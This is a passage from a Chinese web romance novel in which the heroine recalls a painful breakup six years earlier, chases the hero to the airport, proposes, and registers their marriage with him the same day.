只要她朝他走一步,他就愿意走完那剩下的九十九步,哪怕一次又一次受挫,在她需要他的时候,他永远都在她的身后。
而她呢……她又对他做了什么……
她泪水淌下来:“殷绿你知道吗,我很少见到傅蔺征哭,他是个那么骄傲、那么意气风发的人,可是刚刚他哭了,六年前我提分手的时候,他也是哭了……
她说着,喉咙像被什么哽住,胸口剧烈起伏,往事也如一本书被窗外的风猛然掀开。
伴随着那场滂沱大雨,记忆如电影般回放在脑中。
六年前的那个初秋,她改了志愿,只身去到中国美院,开学已经整整一个月。
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那天下午天色阴沉,乌云压顶,她刚上完一节专业课,正和同学去老师办公室送材料,就看到站在教学楼前樟树下的傅蔺征。
男生一身白T黑裤,面容憔悴,整个人莫名削瘦了几分,像是等了很久,目光直直落向她。
当时她提出分手已经两个多月,她删除了他所有的联系方式,对方也毫无音讯。
她以为傅蔺征已经默认了他们的分手。
容微月看到他的第一时间是懵的,她没想到会在杭市看到他,愣了两秒转身要走,可傅蔺征走过来,一把就攥住她的手腕。
男生拉她去了无人的教学楼后,她想走却被拽住,傅蔺征气笑:
“容微月,老子追你一年了,到头来你还和之前一样,看到我就要逃,是不是只要我一出现,你就烦得不行?”
好久没有听到他的声音,她心口泛起刺痛,垂着头不敢看他,“你有事吗?”
傅蔺征看着她,眉关锁紧:“才两个月没见,你怎么瘦了这么多?容微月,我白把你养胖了是不是?之前说过没有,掉一斤肉是什么惩罚?”
容微月咬着红唇没说话。
傅蔺征抬手揉了揉她的头,“胆子够大的,一声不吭改了志愿跑来杭市,害我差点都找不到你了,不过这儿也挺好的,江南水乡很适合你,京市坐飞过来就两个小时,我常常都能来。”
他摸摸她的脸,低哑哄她:“月月,你吃晚饭了么,我们去吃饭好不好?或者你带我逛逛学校,我还拍了呼呼的照片给你,它现在长大了好多。”
容微月心如刀绞,挣脱开他的手:“傅蔺征,我之前在手机里说的很清楚了,我们已经分……”
傅蔺征嗓音紧绷,克制着怒意:“把这句话给我收回去,你再敢开这样的玩笑?”
几秒后,她抬眼直直看他,目光艰涩:
“你觉得我在开玩笑吗?”
“我说了,我们分手吧。”
他看着她,眼圈一点点变红,隐藏在白T下的各处疤痕再次涌开疼痛,他强压着难受,嗓音沙哑:
“容微月……两个多月没见到我,你都没有什么想问我的吗?你为什么不问我好不好,是不是我所有的一切你都不在意?”
她偏开眼,声音发颤:“没什么好问的,我们之间本来就不用联系的。”
他闻言情绪彻底爆发,抬手锢住她的下巴:“老子追了你那么久,你转头说甩就甩了,不该给我一句解释?!”
“我在短信里说了,我们性格不合。”
傅蔺征圈住她腰,把她抵在石柱上,脸色沉沉,红着眼咬牙问:“性格不合?老子是什么性格你第一天知道?我们在一起这么久你和我说性格不和?你
你的朋友正在书荒,快去帮帮他吧
用这样的理由糊弄我?!
“我们说好一起留在京市读大学,分数都够了,你之前还说和我在一起很开心,暑假都没过完,你现在说分手就分手?!
他声线哑得发颤,强撑最后的理智:“月月,我是不是做错了什么,你告诉我,我改,或者是不是出什么事了,你别怕,我都可以解决。
她落下泪,笑了笑看向他:“真难得,傅大少爷现在是在挽留我吗?从前都是女生苦苦追你,现在你也体会到挽留别人是什么滋味了?
她杏眼朦胧发软,可说的话带上最狠的刺:“傅蔺征,我当初和你谈恋爱,就是想叛逆早恋一下,我就是想看看你这个高高在上的大少爷追人是什么样子,而且你不就是因为赌约才追我的吗?我也只是无聊想试试,最后是谁玩谁。
傅蔺征闻言,怔怔看她。
“傅蔺征,我们都是三分钟热度的人,我……我从来没把你的喜欢当回事。
她看向他,笑了:“所以我们不合适,就算在一起也没有结果。
“上大学了,从今以后我们各奔东西,各自安好,你放过我吧。
头顶天色阴沉,很快雷声响起,大雨如注。
颗颗雨滴砸在身上,傅蔺征听到她一句句入刀的话,眼底猩红看着她:“容微月,你知不知道……为了回来找你,我有多努力。
“是,我一开始是因为赌约才追你的,但是我说的每一句喜欢你都是真的,我不相信你感觉不出来。
容微月垂着头。
傅蔺征觉得可笑:“我以为我死缠烂打,烦人了点,但好歹是让你喜欢上我了,现在我知道了,你从来就没喜欢过我。
傅蔺征摊开微颤的后手掌心,雨水顺着指尖滑落,静静淹没他们曾经一起做过的那两枚对戒。
她的那一枚,是分手时留在他公寓的。
下一刻,男人抬手猛地一甩,两枚金属跌进湿漉漉的草丛。
傅蔺征眼底红得刺痛,泪水混着雨水一起滑下,嗓音沙哑得近乎破碎,被雨声彻底吞没:
“容微月,是你先不要我的,从今以后,你别妄想我还会再回头。
分手的一幕幕浮现眼前。
而今晚,又像是曾经的重现。
容微月垂头,一滴滴泪砸下来,声音抽噎:
“殷绿,当初分手我说得那么绝情,我觉得傅蔺征绝对不会再喜欢我了,所以重逢后我一直不敢去想,我不敢抱有期待,因为我觉得傅蔺征的骄傲不会再让他回头……
她一开始不敢去分析自己对傅蔺征是什么感觉。
或许有点遗憾有点难过,但是她安慰自己,他们就算复合也不会长久的,傅蔺征可能对她就
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是征服欲作祟罢了。
她一直自欺欺人,不敢去正视自己的感情。
直到今晚,傅蔺征的那番话,让她终于看清——
其实他在骄傲和她之间,再一次选择了她。
哪怕过了六年,世事变迁,他还是坚定地朝她走来,把真心捧到她的面前。
此时此刻,所有压抑在她心底不敢触碰的苦痛和酸楚排山倒海倒灌而来,重重打在她身上,将她击溃。
她终于知道了,是她弄丢了他……
六年前是这样,今天亦是如此……
她失声落泪:“傅蔺征说,他祝我早日遇到对的人,长长久久,恩爱到老……他不要我了,他真的不要我了……
“是我不懂得珍惜,我根本不配他的喜欢……
现在,他彻底松开了她的手……
从小到大,她被打压被对比,习惯了压抑所有的情绪,从来不敢直接表达,很多时候她好像很勇敢叛逆,可很多时候她也怯懦踌躇,犹豫不决。
或许当初她勇敢一点,他们就不会分手……
可她总是一次又一次,因为自己的怯懦失去了最好的东西。
她这样的人,又怎么配得上傅蔺征的喜欢……
回到家里,殷绿心疼地抱住她,安抚道:“月月,你不要怀疑自己,如果你这么不配,傅蔺征为什么会一次又一次喜欢你。
殷绿声音温柔:“月月,没有人能保证人生的每个选择都是正确的,你陷在你们的关系中当局者迷,所以有的时候不能看清自己。
“但是现在,懊悔曾经的事没有任何的意义。
殷绿认真看向她:“当初的事你也有难处,但那些都过去了,既然你现在明白了他的态度,你能把握住的是你自己的态度,知道吗?
“你应该要问问你自己,如果傅蔺征真的松开了手,那你愿意不顾外界的一切,反过来抓住他吗?
“这一次,你要跟随你自己心,不能再逃避了。
……
一个晚上,容微月的身影陷落在客厅的阴影里。
胃部隐隐作痛,她蜷缩着身体,盯着窗外的天,始终未眠。
和傅蔺征在一起的一幕幕不断浮现在脑中,无论是六年前,还是现在。
许多重逢以来发生的事七拼八凑串联在脑中,像是一点点碎片,不断拼成完整的拼图,伴随着殷绿的话,不断在她耳边回响。
翌日清晨,外头天色灰沉一片,残月还未落下,太阳还未升起。
过了会儿殷绿醒了,走出房间,就看到外面客厅空无一人,找了一圈,都没有容微月的身影。
殷绿心底一沉,生怕她做什么傻事,立刻给容微月打去电话,所幸那头很快接听。
听说看这本书的人都是很幸运的,分享后你的运气会更棒
容微月轻声道:
“我没事,现在在回禾盛庭的路上。
“月月……
“我想回去看看,傅蔺征有没有在家。
出租车上,容微月看向车窗外,浓雾渐渐散去,天色渐明。
各样情绪翻江倒海。
一团乱麻地她理不清,可冥冥之中,她只想回去,去直面那些问题。
半个小时后,她回到禾盛庭。
心间忐忑,她打开门,就看到屋里窗帘紧闭,一片昏暗,呼呼在客厅玩耍着,闻声跑过来,蹭着她的腿。
里头空荡荡的,落针可闻。
她低头一看,玄关处放着傅蔺征的拖鞋。
他昨晚没回来吗……
容微月穿着鞋,往里走去,却发现随着她的步伐,房间里慢慢亮起。
一盏盏灯光像夜里的灯塔,散发着温暖的光晕,点燃漆黑的前方。
她怔住,旋即发现房间的每个拐角处都装上了个月亮形状的小夜灯。
哪怕没戴眼镜,她也看得清晰家里原本昏暗的各处。
而许多柜角、沙发,特别是阳台那些柜子都被包了防撞圆角。
容微月怔愣了下,反应过来前晚她回家时,傅蔺征独自坐在落地窗前,面前的桌上摆了螺丝刀和许多空盒子。
她当时没在意,只以为他无聊地摆弄东西,原来是因为她前几晚去洗衣服时不小心磕到了膝盖,他默默记住,转头就给她装了小夜灯。
她根本就不在意的事,他却全部都记在了心里。
哪怕吃着醋,他却还是默默地为她做了那么多事……
容微月眼眶发热,这时呼呼汪汪地朝她叫着,摇着白绒绒的尾巴往前跑去,一边跑一边回头看她,似乎示意她跟上。
她跟过去,呼呼在傅蔺征的卧室门口停住,她转头看进去,就见里头整洁如常,却是空空荡荡。
床上的被子被铺得平整,桌面上他平时经常用的笔记本电脑和平板不见了,衣架上的几件外套都没了,像是被人刻意清空了。
她心底一沉,忽然感觉不对劲。
她飞快往外走,打开玄关的储物柜,发现傅蔺征之前放在这里的备用两个行李箱都不见了。<
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p>客厅里,狗窝的尿垫换了,饮水器加满了水。
沙发的玩具全都收拾整齐,她走去厨房,冰箱里还放着一大盒车厘子和草莓,还有很多新鲜蔬菜水果。
她心慌沉沉,瞥见餐桌上一张纸静静躺在那里。
容微月冲过去,拿起一看,上头写着密密麻麻的狗狗照料指南,从饮食到游戏,还有呼呼的洗澡卡、游泳卡等等,上面都标注着具体使用的流程。
纸张上,只留下傅蔺征一句话:
【照顾好呼
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呼。】
容微月攥着卡,脑中空白了几秒,泪水夺眶而出。
她整个人仿佛被狠狠摔碎在地。
傅蔺征走了……
她还是来迟了……
她哽咽掉下眼泪,看到桌面上还摆着早餐,触手过去,餐盘带着余温,像是他才刚刚离开。
容微月颤着手,赶忙拿出手机,拨通了傅蔺征的电话号码。
嘟嘟嘟——
一遍,两遍,三遍……
漫长的等待声中,那头始终无人接听。
她泪水落了满脸,心慌意乱,想到什么,立刻给怀裕打去电话。
十几秒后,那头接听:“容小姐?
容微月说抱歉这么早打扰他,“我打不通傅蔺征的电话,一大早他好像就离开了……
她强压下鼻尖的酸意:“我有事情想和他说,你知道他去哪儿了吗?能不能帮我问问……
怀裕默了默,低声开口:“征哥今早九点的飞机去日本,国外那边有个训练项目,他说最近国内的事情忙完了,大概未来几个月都不会回来了,不知道下次回国是什么时候……容小姐,您有事需要我传达吗?
未来几个月都不回来……
容微月鼻尖酸涩:“不用谢谢……
挂断电话,她看了眼时间,什么也顾不上了,立刻拿上车钥匙,飞奔出门。
风掀起衣摆,她向停车场一路狂奔。
上了车,她启动车子,一路飞驰。
车轮碾过地面,她眼泪止不住地掉下来。
正巧殷绿打来电话,说她的眼镜落在她家里了,容微月说了傅蔺征要出国的事,“殷绿,傅蔺征真的要走了……
那头惊愕:“那你现在怎么办?
“我在去机场的路上了,我要去追他,这一次我不能再后退了……
容微月看着前方,脑中不受控地想起这段时间傅蔺征为她所做的一切——
她被房东扔出行李,是他第一时间出现,他为她冲去揍了房东,拿回了属于她的赔偿;
她找不到合适的房子,他给她开出最好的租房条件,布置了一个温暖的房间,每天给她做着各种好吃的,照顾着生病的她;
小时候容承业觉得她没天赋拉小提琴,只有傅蔺征珍视她小小的梦想,为她定制了小提琴,还为她在家里准备琴房;
前段时候她被杜海滨性骚扰时,他为她揍人,受伤却什么都没说,只温柔告诉她,以后不会再让人欺负她了;
在她和父母吵架,无比挫败难过时,是傅蔺征抱住了她,让她不用在意别人的看法,他永远都记得她的生日,也永远看她为珍贵……
还有好多事情,她根本就回忆不过来,桩桩件件早已写满了他的在
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意。
而她,却直到这一刻才看见。
所有的想法在此刻拨开迷雾,全然清晰。
她明白了自己想要什么。
十五分钟后,车子驶达机场。
她下了车,刚好手机响起,是傅蔺征的电话。
她心底重重一敲,飞快接起,男人沙哑的嗓音传来似乎压抑了许多情绪:“你找我?”
她强压泪意:“傅蔺征,我有事和你说,你能不能等等我,先不要过安检……”
那头男人微怔,“你在机场?”
刚才他在行李寄存,没看手机。
“嗯,我已经到了……”
她迎着风,冲进机场大厅。
她想问他在哪儿,傅蔺征却直接问了她的位置,而后让她站在原地,嗓音低沉:
“别动,我过去找你。”
候机大厅里,灯光明亮,人潮涌动。
容微月懵然站在原地,扫视周围,游客们拖着行李来来往往,各奔东西。
抑或相遇,抑或分离,脚步从不曾停留。
半晌,她的视线终于捕捉到了那抹身影。
男人一身黑色毛衣和工装裤,挺阔的灰黑色大衣将他挺拔的身形撑起,眉弓深邃,鼻梁高挺,目光单单落在她身上。
他逆着人群,朝她走来。
忽而周围万象尽数褪色。
容微月心脏失了秩序,落下泪来。
傅蔺征走过来,垂眼看她,嗓音哑然:“你怎么来了。”
她心跳很乱,软声努力措辞:“我有事想找你,可是……可是我刚刚回到家发现你已经走了,怀裕说你要出差,很久都不会回来,我就追来了……”
傅蔺征黑眸炽热,欲开口,她抢在他前头说话:“傅蔺征,你有话想和你说,你先听我说完。”
她仰眸看他,杏眸湿漉漉红通通的:
“那天晚上和我吃饭的人名叫严怀,是我爸妈生意合作伙伴的孩子,他们最近一直想撮合我们,但是我一点都不喜欢那个人,我就是单纯为了应付长辈吃了一顿饭,在那晚就我和严怀说得很清楚了,我吃饭的钱给他了,他给我的花我也丢了,我才不想和他有任何的牵扯。”
傅蔺征怔然,她把话一股脑倒出来:“那晚我本来是要和殷绿吃饭的,后来我们没约上,我没敢告诉你是因为我对严怀没兴趣,他真的不重要,而且我不知道为什么……我就是不想你误会,我不想你不开心。”
室外寒风凛冽,冬天的风沿着自动门缝隙灌进来。
容微月鼻尖酸涩:“傅蔺征,我从来没有想玩你,重逢后我不敢对你抱有期待,是你和我说,我们没有叙旧的必要,你也说了,你恨我都来不及……”
傅蔺征锁紧眉关,她低下脑袋
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:“我知道我性格不好,我优柔寡断,犹犹豫豫,总是瞻前顾后,但是从今天开始,我不会再这样了……”
“之前我父母催婚,我一直都告诉他们我不想结婚,我也从来没有幻想过婚姻,因为我一直没有遇到那个我觉得值得的人,但是最近,我改变主意了。”
周围人潮来往,脚步匆匆,各样的广播在耳边回荡。
可此刻,所有人影都模糊成灰白色的流动线条,只有他们相对而立,停在电影画面定格般的画面中。
容微月心跳如鼓,感受到他灼灼的目光,她脸颊后知后觉泛起红晕,“傅蔺征,我也不知道我在说什么,昨天我听到了你父母也在催婚你,我……我就是想问,如果你爸妈很着急也在催你,你没有女朋友,但是也想要个太太的话——”
大厅的玻璃窗外,天色放亮,远处飞机滑过跑道,冲向天际。
容微月迎着光抬头,澄澈的水眸看向面前的男人,声音轻柔,却在此刻无比坚定:
“你愿不愿意,和我结婚?”
〓作者有话说〓
[爆哭][爆哭]我的月月宝贝勇敢了[爆哭]她开始坚定了!阿征终于等到了[爆哭]
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所有的苦涩只有一夜,一夜过后就会迎来云销雨霁,万物晴朗
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第 31 章 “我没有婚后分居的习惯。”...
第31章第三十一章
【“我没有婚后分居的习惯。”】
chapter31
窗外天明澄澈,耳边广播声缭绕,行李箱滚轮、脚步声、路人的交谈声交织在一起,纷扰嘈杂。
可此刻,只有容微月的声音清晰地落在他耳边。
傅蔺征看着她,心头像是打来一场海啸,胸腔仿佛被撞开震动,一波又一波情绪翻涌而至。
其实昨晚他走后就后悔了,他不应该把所有的话都甩给她就直接离开,把她一个人丢下。
可是他摸不透她的想法,怕她还是厌烦他,所以只能让夏斯礼来送她回家。
他没想到,今早她会冲到机场来找他。
她的每一句话都在他意料之外。
时间仿佛凝滞了好几秒,宛若有一个世纪那么漫长。
傅蔺征闻言,乌黑长睫下眸光颤动,扯起唇角,喉间滚出沙哑字音:“容微月,你是在和我开玩笑么。”
“我……”
他抬眼看她,眼眶滚热:“你酒还没醒么?”
是不是还是和那天醉后的吻一样,是她的冲动。
他喉间烧灼,声线低哑压抑着情绪:
“容微月,我没办法再经历一次六年前的事,所以在你没想好之前,别再拿这种话刺激我。”
这几天他都要疯了。
如果她以后告诉他她这次又是玩玩而已,又要和他分手,他该怎么办?他不敢再报任何希望了,他怕一切又只是一厢情情愿。
容微月闻言,鼻尖冒酸,目光不移看着他:
“傅蔺征,我现在很清醒。”
“我知道我在说什么,在来机场的路上,我已经想的很清楚了。”
她曾经试图放手,试图斩断所有对他的情感,但如果他们的命运这辈子注定要纠缠在一起,六年后也逃不掉,那为什么她还要躲?
从前她有着各种各样的顾虑和克制,因为他们的身份,家庭的差距,还有那些不好的过去,但是现在,那些都无所谓了,她只想跟随自己的心走。
反正这辈子,除了他,她也不感兴趣再和其他人步入婚姻了。
容微月抬头看他,攥紧手心,鼓起勇气问:
“所以,傅蔺征,你愿意和我结婚吗?”
如果他害怕再次分离。
那么这一次,就让她给他一个最坚定的回答。
电子屏里秒针滴滴答答转着,时间宛若被拉长,像是电影里的慢镜头。
不知道过了多久,见他不说话,容微月眼底的光渐渐黯淡下来。
她不知道他到底是什么意思,或许是他还没想清楚,或者是,他已经后悔了……
她低下头:“对不起,我这么
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提可能太唐突了,没有给你思考的时间,没关系,你可以再考……
她话音未落,手腕就被紧紧攥住,往前一拉。
一瞬间,他身上凛冽的竹叶薄荷气息伴随怀抱,瞬间朝她涌来。
她被他紧紧揽在怀中。
热度袭来,驱散一切的寒意。
耳边的广播声仿佛都被消音,人来人往的声音逐渐虚化,周围都失了色彩,他们被隔在人潮的喧嚣之外,世界里只剩下彼此。
傅蔺征黑眸热烈翻滚,哑声落在她耳边:
“我的答案你昨晚不是就很清楚了么?
他有多想要她,她还不知道吗。
容微月眼睫怔然轻颤,傅蔺征低头看她,喑哑问:“最后问一遍,想好了么?
她直直回望,“想好了……
容微月没有躲闪的眼神早已表明答案,傅蔺征了然,拉住她的手往前走,掏出手机,当即打电话给怀裕:
“我有事,你让其他人先飞,我的航班推迟。
怀裕诧异,鲜少看到他推掉涉及获利几亿的公事,不用猜都知道是因为微月姐:
“征哥,那中午您和铃鹿那边赞助商的饭局,还有下午两点和FRV的商务续约谈判……
“全部你来处理。
傅蔺征挂了电话,容微月脑中茫茫跟他走,直至被他带到停车场,她觉得越来越不对劲,“我们现在去哪儿?
“去民政局。
???
“结婚不得领证?
啊,这么快的吗?
她以为具体的还要商量一下……
傅蔺征直直看她:“怎么,现在又怂了?现在反悔还来得及。
容微月心颤,两秒后之间轻轻反握住他的手,温软看他:“民政局八点半上班,我们现在赶过去应该还没开门,说不定是最早的一对呢。
傅蔺征黑眸滚热,偏开眼,懒洋洋压平唇线:“你再磨蹭下去就不是了。
两人上车,布加迪驶出地下停车场。
太阳已然升起,阳光愈渐灿烂,傅蔺征戴上墨镜,问:“身份证带了么?要不要回家拿。
“不用,在我口袋里。
他慵懒揶揄:“行,原来算盘早就打好了。
“……
她耳根泛红嗫嚅:“我身份证都是随身携带的……
布加迪在车流中穿行,平稳又快速地超过一辆辆车,容微月紧张地攥着安全带,忍不住道:“傅蔺征,你能不能开慢点……我不会跑掉的。
他灼灼看她:“你以为老子还会让你跑掉?
的确生怕多一秒钟,就多了一分她后悔的可能,但他现在也不允许她后悔了,就是把她绑也得绑到民政局去。
此时正
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值早高峰傅蔺征已经开得尽量快些但交通拥堵到的时候已经快九点了。
银黑色的布加迪Centodieci驶到民政局门口。
车身低伏如兽线条锐利冷金属的银黑色泛着光泽。
这车是Bugatti为庆祝品牌创立110周年推出的限量版超跑全球只限十辆帅得扎眼。
周围来来往往的人都被吸引看了过来就连办事大厅里许多人探出脑袋。
只见一个身型高挺拓落的男人下车剑眉星目五官卓越副驾驶的门打开一个女人下来一身杏色长衣黑茶色长发披落肩头双瞳剪水红唇点着淡淡的胭脂
绝对的郎才女貌般配到让人艳羡。
路人们震惊地好奇注目“这是那个顶级豪门的太子爷带人来领证了?!!”
“男帅女美天作之合啊……”
容微月下了车突然反应过来什么红着脸去拿镜子傅蔺征看向她:“怎么了?”
眼瞧着门口的新人都盛装出席小猫窘然地想把脑袋埋起来“我衣服没换头发也没梳太丑了QAQ……”
“丑个屁这么漂亮哪里丑了?”
傅蔺征抬手理着她微乱的发丝她被他半圈在怀中心跳乱了节拍。
周围人看到如此冷脸的男人格外温柔暗自感慨。
今天来民政局是给别人发糖的怎么自己还磕到了!
灿烂的阳光洒落下来照得她脸莹润白皙末了傅蔺征把她头发别到耳后懒洋洋开口:
“行了咱俩这颜值差不多得了别给其他来领证的新人太大压力。”
“……”
走进民政局大厅傅蔺征先去取号工作人员问:“请问二寸红底合照带了吗?”
傅蔺征神色一顿这哪来得及准备:“还没拍那今天能领证么?”
工作人员看他心慌的样子忍不住笑:“当然可以的这边取号然后去对面的拍照窗口排队。”
傅蔺征拿了号码带着容微月去到等候区坐着傅蔺征一边低头看手里的号码条一边抬眼盯着前方的电子屏幕数字已经在很快变化着他却觉得慢得不行。
他长腿随意微敞指节敲着扶手浓黑的眸直勾勾仿佛要在屏幕上戳一个洞。
容微月忍不住轻声道:“傅蔺征你不用着急十分钟内领不到证民政局不会**的。”
“……”
男人懒声道:“我没着急我就是等着无聊。”
“噢。”
她就看着不戳破。
叫到了他们前面的号码旁人的情侣进去傅蔺征看了眼手机舌尖抵了抵上颚蹙眉:“怎么拍个照那
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
么磨蹭。
人家才进去二十秒……
这人至于这么着急嘛……
两分钟后,他们的号码一显示在屏幕上,傅蔺征立刻起身拉着小姑娘走进去。
照相师是个中年男人,让两人站到红布前:
“来,新人站近一点啊,笑一下。
容微月感觉到他靠近,心跳怦怦,腼腆地朝镜头弯起唇畔。
上一次他们的合照是在山里下缆车拍的,当时夏斯礼还调侃他们在拍结婚证,没想到一语成真。
拍了几张,照相师连连夸:“俊男美女,怎么拍怎么好看,太养眼了。
容微月面颊泛红,傅蔺征慵懒挑了挑眉,从口袋里掏出个不知道何时准备的红包,“谢谢大哥。
领完照片,两人去填写《结婚登记声明书》,傅蔺征写得利落快速,字体遒劲,容微月慢慢写着,一笔一字都心跳怦怦。
从前高中时他们在课上抄笔记,她写字速度比较慢,每次傅蔺征都是飞速抄好,拿给她看。
过了会儿,流程顺利走完,两个红本本新鲜出炉了。
到门口的结婚照相墙,容微月看到其他人拍着,心尖泛起波澜,不好意思开口,然而男人声音落下:“要不要也拍一张?
“嗯?
“太匆忙没请跟拍,我们自拍。
她酒窝轻陷,“好……
走到写着“喜结良缘的艺术漆墙面前,旁边点缀着花朵和轻纱,古典雅致,傅蔺征举起手机,她距离他一个手臂,他吊眉:“你跟我外交会面啊?站那么远?
她脸热靠近,就被他拽懒揽住,她脑袋轻靠着他肩头,心跳如小鹿乱撞,唇畔轻弯,男人倾身靠近她,按下快门。
拍完照,两人往外走,容微月感觉就跟做梦一样。
这证就这么轻轻松松地领了吗……
回到车上,容微月翻开红本本,照片里她眉眼弯弯,面颊透红,有点害羞拘谨,傅蔺征站在她身旁,五官周正帅气,眼皮黑痣挑起,唇角浅浅勾起。
她想到当年高三毕业,全班拍毕业照那天,午后香樟树下光影斑驳,她穿着白衬衫百褶裙,模样乖巧地站在高椅上,过了会儿高马尾被轻轻揪了下,她转头就看到傅蔺征站到了她旁边,一身清隽的校服校裤,勾唇看向镜头,笑得意气风发。
六年前一起拍的毕业照。
现在换成了红底的结婚照。
他们从同班同学变成情侣,又变成陌生人,现在……却变成了夫妻。
明明昨晚他俩的关系降到冰点,什么可能性都没有了,谁曾想今天所有的事全然翻转。
分开六年,在他们重逢一个多月后,他们就这样结婚了……
六年前,在
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京市落雪的那个夜晚,她捧着青橘蛋糕在心底许下的十八岁生日愿望,是身旁这个初恋的少年永远陪在她身边。
后来天涯海角,兜兜转转,终于失而复得。
她用她的勇敢换他成为她的合法丈夫,她的十八岁生日愿望何尝不算是实现了……
容微月指腹摩挲着结婚证上凸起的钢印,心像撒了把跳跳糖,半晌身旁传来低懒嗓音:“至于这么喜欢?”
她转头,傅蔺征揶揄:“脸都红透了,还舍不得移开目光呢。”
“……”
看他倒是一脸气定神闲,容微月羞赧解释:“没有……我就是好奇,我是第一次看到结婚证原来长这样,之前都只在电视剧见过。”
他挑起唇角:“谁不是第一次,搞得我第二次见似的。”
她脸热,傅蔺征想到什么,感慨道:“原来搞半天,我是祝我自己啊。”
“什么?”
“昨晚我祝你遇到对的人结婚,长长久久,恩爱到老。”
这话她当时听着心里如针扎,她轻声问:“所以你是真心这么祝福的吗?”
“昨晚,当然不是。”
傅蔺征转头,直直看着她:“但现在是。”
如果这个对的人是他,他当然要他们长长久久,恩爱到老。
窗外天空碧蓝如洗,灿烂明媚的日光透过车窗照进来,打亮他吊儿郎当的眉眼。
她怔了怔,悄然压下唇角。
她当然也希望这个愿望能够成真。
随后傅蔺征抬手摘掉了他右手那枚银色的潮汐尾戒。
尾戒代表守心守身,如今他终于可以摘下。
他拿着看向她:“帮我保管?”
从今以后,不需要这尾戒,因为她已经把他套牢了。
她怔了怔,心跳悸动接过,“好……”
她把尾戒和结婚证收起来,傅蔺征懒洋洋靠着座位:“果然,还是被套路了。”
“?”
他嚼着青橘糖,悠悠然言:“某些人估计从想租我那房子开始就打好算盘了,就说目的不纯,还没多久呢就把我拽来领证了,现在我这是彻底名草有主了。”
这人一天不臭屁就难受,容微月抿唇嗫嚅:“你要是不愿意,我们也可以再进去……”
傅蔺征倾身过来捏她脸,嗓音低哑:“容微月,你敢乱说一句,信不信老子把你带回家关房间里?反正结婚了,现在名正言顺。”
暧昧回忆扑面而来,她面颊烧红,老实巴交道:“我开玩笑的。”
男人压下心底燥火,先不欺负她,把结婚证收进大衣内侧兜里,“行了,送你回去。”
Centodieci启动,重新汇入主车流,傅蔺征得知她昨晚去了殷绿家,“一
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个晚上没睡?早饭也没吃?”
“嗯……”
“喝了酒,胃有没有不舒服?”
“昨晚很疼。”
傅蔺征微怔,她轻声道:“你走后,我胃痉挛又犯了……”
他闻言蹙眉,心头愧疚。
昨晚他不该那样混蛋地丢下她的,她一定难受坏了……
他哑声道:“带你去医院看看。”
“不用,现在不疼了,昨晚殷绿给我吃药了,”她道,“我现在有点饿了。”
他应下,过了会儿,车子开到一家精致的中式餐厅,坐进古色古香的包厢里,他按着她喜欢的口味点餐,而后嘱咐所有菜品不要放虾蟹类的海鲜和姜丝姜末。
一盘盘餐点端上来,手工松茸鲜笋汤包,花胶炖蛋,黑松露牛肉粒煎薄饼等等,都是她爱吃的,她眉眼弯弯,一口接着一口,把食物送进嘴里。
傅蔺征看着,眼底晕开笑意:“昨晚同学聚会半天没见你动筷,今天胃口这么好啊?”
她跟小仓鼠似的,面颊泛红,小声咕哝:“今天心情好,胃口当然就好了……”
他无声勾唇。
傅蔺征是这家餐厅的投资人之一,和大老板是朋友,时常过来吃饭,服务员无人不知他,进入包厢送菜时,他们就看到傅蔺征在给小姑娘盘中夹菜,她吃得太快,他就把茉莉花茶递到她手边,无奈柔声说慢点。
这么多年,傅蔺征是第一次带女孩子来。
眉眼间的宠溺显而易见。
最后容微月消灭了个桂花酒酿糯米糕,感觉肚子圆鼓鼓了,傅蔺征问:“饱了?”
“嗯,你不吃吗?”
他这才拿起筷子,三下五除二收尾。
容微月想起高中时,早晨她和傅蔺征就在学校附近的早餐店里吃早餐,她胃口小,被他哄了好半天才多吃了点,实在吃不下了,他就把剩下的风卷残云消灭干净。
最后她喝了几口实在喝不下的生滚鱼片粥也被傅蔺征端走,就着她的汤匙喝完。
容微月怪不好意思的,可突然转念一想,他们已经结婚了,好像也没什么……
饱餐一顿,傅蔺征开车带她回禾盛庭。
路上,容微月手机进来殷绿的信息,那头不太放心她,还是来问问:【月月,你和傅蔺征聊得怎么样了?说开了吗?】
容微月敲下几字:【嗯,我们在回家的路上。】
容微月转头偷偷看了眼开车的男人,敲击屏幕:
【绿绿我和你说件事,你别激动。】
【我和傅蔺征领证了。】
殷绿:【啊啊啊啊?这么突然!!!】
容微月把今早发生
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的事告诉她,殷绿激动走出办公室,说她不鸣则已一鸣惊人:【宝你也太勇敢太
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棒了!傅蔺征是不是高兴坏了哈哈哈哈,我猜他肯定激动**。】
她转头看了眼男人,【没,他挺淡定的。】
她本来也以为他会很激动,可能男的在面对大事还是理性更多些?
殷绿恭喜她新婚快乐:【那你们今天啥安排?去约会?】
容微月:【没有,他送我回家**本出差了。】
殷绿:【不是,这个差有那么重要吗?!!领证了他不得和你入个洞房一夜七次再走啊,新婚夜竟然让你独守空房!!严肃批评!!】
她羞窘让殷绿别乱说,殷绿坏笑:【我哪里乱说,你信不信傅蔺征早就憋疯了,你婚后还是多补补吧,不然真的很危险噢~~】
容微月脸颊羞红,她知道傅蔺征从来就不是个清心寡欲的,那晚喝醉他们接吻,男人荷尔蒙气息贲张,那里也格外明显,是非同寻常的恐怖。
但是婚后他们会怎么样,她也不知道……
她羞得不想接殷绿的话,连忙掐灭思绪。
半小时后,车子停到停车场。
两人走去电梯口,傅蔺征淡淡声音落下:“新房你想要什么样的?这里之前布置得有些匆忙,新家可以好好布置。
容微月愣了愣,花两秒消化了下新房的概念:“我挺喜欢这里的,房子已经很大了,还有我的琴房,离我们上班的地方也很近,先不搬了吧?
这里有这么多她和他、她和呼呼美好的回忆,她不想轻易搬家。
傅蔺征了然应了声,“那我就把京市另外十几套房子先布置了,以后去哪儿都方便。
反正都装修成她喜欢的,她平时想住哪儿就住哪儿。
容微月每次都能被他的任性震惊到,管不了,索性听他的,上楼打开门,呼呼闻声飞速跑来,钻来钻去,蹦蹦跳跳,容微月被它扑了个满怀,诧异弯眉:“怎么感觉它好开心呀?
傅蔺征手插兜:“它爸它妈复婚了呗,当然开心。
“……
容微月羞赧,走到餐厅装水,看向男人:“你时间来得及吗?要不要去机场?
“怎么,领了证就赶我走?
“没有,我是怕你来不及……
这次傅蔺征去日本,是有推不掉的公事,车队的人都在等着他。
容微月忍不住问出憋了一路的问题:“你这次训练要到明年什么时候?接下来都要待在日本吗?
傅蔺征身子懒洋洋靠着吧台,垂眼看她,眉梢吊起:“谁跟你说我要待到明年了?
“???
“我就是出个差,下周就回来了。
她惊愕:“可怀裕说你要待到明年……
